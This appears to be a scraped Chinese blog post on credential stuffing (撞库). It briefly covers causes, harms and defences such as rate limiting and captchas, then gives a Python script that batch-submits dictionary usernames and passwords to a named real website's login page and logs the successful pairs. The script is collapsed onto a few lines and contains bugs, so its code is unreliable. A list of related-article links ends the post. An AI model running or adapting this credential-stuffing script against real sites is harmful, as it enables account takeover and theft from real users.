Python 撞库
写在前面: 浅谈撞库防御策略
1. 撞库成功的原因是什么呢?

1.广大网络用户为了方便记忆,所有网站都使用同一套用户名和密码。2.网站登录的安全措施不够。

2 撞库的危害是什么呢?

就企业而言保护用户的信息安全是基本责任之一,泄露用户信息会缺失公信力,损毁
公司品牌形象。就个人而言小则骚扰电话天天有,大则个人财产不翼而飞。

3 撞库这么大的危害,作为企业和网站主应该如何防止撞库攻击呢?

通过上面的例子我们可以发现,阻止撞库登录就是要让黑客不能够使用脚本程序进行批
量登录。常用的方法有以下几种:*①限制同一个IP的请求次数和请求频率*这是一种方法,但是由于IP代理的存在,作用也不是特别大。*②使用cookie,flash cookie以及帆布指纹等方法*目前也是有许多网站在使用这种策略,有一定的作用,但是也是可以被清除掉的。③*添加验证码*

批量模拟登陆

import requests as req
import time
import re#获取文件
def getdic(file):dic = open(file).read()diclist = dic.split("\n")return diclistdef writeFile(filename,text):fo = open(filename, "a+")fo.write(text+"\n");# 关闭打开的文件fo.close()#撞库实际程序
def zhuangku(name,pwd):# {username} 替换{}中的内容为用户名newpwd = re.sub(r'{\w+}', name, pwd)url='http://www.nancheng.ccoo.cn/login/login.asp'  data={'username' : name,'password' : newpwd,'k':'Sun Jul 17 2016 11:59:23 GMT+0800 (中国标准时间)40000'}headers = {}reqe = req.Session()s=reqe.post(url,data=data,headers=headers)return s.textuserlist  = getdic('dict/names_top500.txt')
passlist  = getdic('dict/password.txt')lenmax_i=len(userlist)
lenmax_j = len(passlist)for i in range(0,lenmax_i):for j in range(0,lenmax_j):name = userlist[i]passwd = passlist[j]res = zhuangku(name,pwd)if j == 10:breakelse:if res == 1:print(name+passwd+"succsess") writeFile('/tmp/zhuangku.txt',name+passwd +'success')breakelse:print (name+passwd+res)#continue  time.sleep(0.5)
print ("success")

Python 撞库与防御策略相关推荐

  1. python撞库脚本_python撞库操作的实战脚本源代码

    1.[python撞库代码] #conding=utf8 import smtplib import os import MySQLdb #python撞库字典获取方法 def getdic(file ...

  2. python 撞库_python 脚本撞库国内“某榴”账号

    其实日常生活中我们的用户名和密码就那么几个,所以这给撞库带来了可能,本文主要给出python脚本撞库的一点粗浅代码.这里只讨论技术本生,代码中某榴的地址也已经改掉,避免被管理员误解禁言等发生,谢谢大家 ...

  3. API 攻击分析:黑客利用大量IP低频撞库登录API

    近日,某互联网公司在使用永安在线API安全管控平台时捕获到一起账号撞库风险事件,攻击者使用大量动态代理秒拨IP对公司的某平台登录接口进行低频的撞库攻击.永安在线API安全团队及时响应此次风险事件,定位 ...

  4. python 脚本撞库国内“某榴”账号

    其实日常生活中我们的用户名和密码就那么几个,所以这给撞库带来了可能,本文主要给出python脚本撞库的一点粗浅代码.这里只讨论技术本生,代码中某榴的地址也已经改掉,避免被管理员误解禁言等发生,谢谢大家 ...

  5. 使用python hashlib模块给明文字符串加密,以及如何撞库破解密码

    文章目录: 1 hashlib介绍 2 hashlib模块使用 2.1 查看hashlib中有哪些hash算法 2.2 对字符串进行加密 2.3 对于数据比较大,加密可以分块,结果一样 2.4 has ...

  6. 深入浅出了解撞库攻击!

    1. 撞库的原理和危害 "撞库"(Credential Stuffing Attack)在网络安全中是一个古老的概念,按中文的字面意思解读,就是"碰撞数据库"的 ...

  7. 倾家荡产、隐私全无?独家揭秘撞库攻击!

    1. 撞库的原理和危害 "撞库"(Credential Stuffing Attack)在网络安全中是一个古老的概念,按中文的字面意思解读,就是"碰撞数据库"的 ...

  8. 什么是撞库攻击,如何预防撞库攻击?

    1. 撞库的原理和危害 "撞库"(Credential Stuffing Attack)在网络安全中是一个古老的概念,按中文的字面意思解读,就是"碰撞数据库"的 ...

  9. 如何利用开源风控系统 TH-Nubula(星云)防止撞库?

    2019独角兽企业重金招聘Python工程师标准>>> "撞库"是安全领域经常发生的一种黑产攻击事件.在常见的安全防护中,安全团队通常会在登陆接口设置安全策略来应 ...

  10. Hash的简介与hashlib模块的使用、模拟撞库与密码加盐

    什么是Hash呢? hash(哈希)是一类算法(如md5),hash算法又称为散列表(hash table),也叫做哈希表,该算法接受传入的内容,经过运算得到一串hash值(字符串) hash值的特点 ...

最新文章

  1. rocketmq sql解析过滤
  2. PAT——程序运行时间 (1026)
  3. cmake 2.8.12在redhat 4.4下安装
  4. 腾讯云linux系统结合nginx部署项目
  5. HTML 静态网页制作12月2日表单样式
  6. Orika:将JAXB对象映射到业务/域对象
  7. 一起学习C语言:C语言基本语法(三)
  8. linux下last与lastb命令详解
  9. Css 分类 属性 选择器
  10. iOS贝塞尔曲线(UIBezierPath)的基本使用方法
  11. java 排队实现_Java实现排队论的原理
  12. 使用PE破解Windows电脑密码
  13. Matplotlib confusion map显示不全
  14. arduino loar_「雕爷学编程」Arduino动手做(15)---手指侦测心跳传感器
  15. KVM虚拟化之(1):CPU技术
  16. plt.title 设置标题或标注和图片之间的距离
  17. QQ登录提示:登录超时,请检查您的网络或者本机防火墙设置(错误码:0x00000001)
  18. 苹果原生二维码扫描器
  19. 基于USB转接卡的测试工装
  20. mysql判断表是否为空_quot;他为什么对我这么好?”:一张测量表判断男生是否喜欢你!...

热门文章

  1. HaaS EDU场景式应用整体介绍
  2. Deepo:几乎包含所有主流深度学习框架的Docker镜像
  3. R语言 数据抽样(数据失衡处理、sample随机抽样、数据等比抽样、交叉验证抽样)
  4. 苹果cookie是打开还是关闭_关闭手机广告的几个操作
  5. 面经——嵌入式常见面试题总结100题(上)
  6. Facebook主页如何一键邀请加粉
  7. c语言程序设计第五版第四章例题
  8. c语言 常量和变量 ppt,c语言常量与变量.ppt
  9. linux aria2 多线程,Mac/Linux 多线程下载解决方案(Aria2 YAAW是什么)
  10. 如何批量导入文件夹,批量重命名